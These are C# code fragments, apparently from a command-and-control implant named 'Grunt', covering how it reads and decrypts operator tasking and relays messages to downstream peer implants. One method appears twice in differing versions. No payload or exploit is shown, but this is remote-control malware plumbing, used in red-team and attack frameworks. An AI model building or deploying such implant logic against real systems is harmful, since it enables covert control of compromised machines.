public GruntTaskingMessage ReadTaskingMessage() { string read = ""; lock (_UpstreamLock) { read = this.UpstreamMessenger.Read(); } if (read == null) { return(null); } GruntEncryptedMessage gruntMessage = this.Profile.ParseReadFormat(read); if (gruntMessage == null) { return(null); } else if (gruntMessage.Type == GruntEncryptedMessage.GruntEncryptedMessageType.Tasking) { string json = this.Crafter.Retrieve(gruntMessage); return((json == null || json == "") ? null : GruntTaskingMessage.FromJson(json)); } else { string json = this.Crafter.Retrieve(gruntMessage); GruntEncryptedMessage wrappedMessage = GruntEncryptedMessage.FromJson(json); IMessenger relay = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier == wrappedMessage.GUID); if (relay != null) { relay.Write(this.Profile.FormatRead(wrappedMessage)); } return(null); } }
private static GruntEncryptedMessage Parse(string Format, string Message) { string json = Common.GruntEncoding.GetString(Utilities.MessageTransform.Invert( Utilities.Parse(Message, Format)[0] )); if (json == null || json.Length < 3) { return(null); } return(GruntEncryptedMessage.FromJson(json)); }
public GruntTaskingMessage ReadTaskingMessage() { // TODO: why does this need to be PostResponse? string read = ""; lock (_UpstreamLock) { read = this.UpstreamMessenger.Read(); } if (read == null) { return(null); } else if (read == GruntTaskingType.Disconnect.ToString()) { this.UpstreamMessenger.Close(); return(null); } GruntEncryptedMessage gruntMessage = this.Profile.ParsePostResponse(read); if (gruntMessage == null) { return(null); } else if (gruntMessage.Type == GruntEncryptedMessage.GruntEncryptedMessageType.Tasking) { string json = this.Crafter.Retrieve(gruntMessage); return((json == null || json == "") ? null : GruntTaskingMessage.FromJson(json)); } else { string json = this.Crafter.Retrieve(gruntMessage); GruntEncryptedMessage wrappedMessage = GruntEncryptedMessage.FromJson(json); IMessenger relay = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier == wrappedMessage.GUID); if (relay != null) { // TODO: why does this need to be PostResponse? relay.Write(this.Profile.FormatPostResponse(wrappedMessage)); } return(null); } }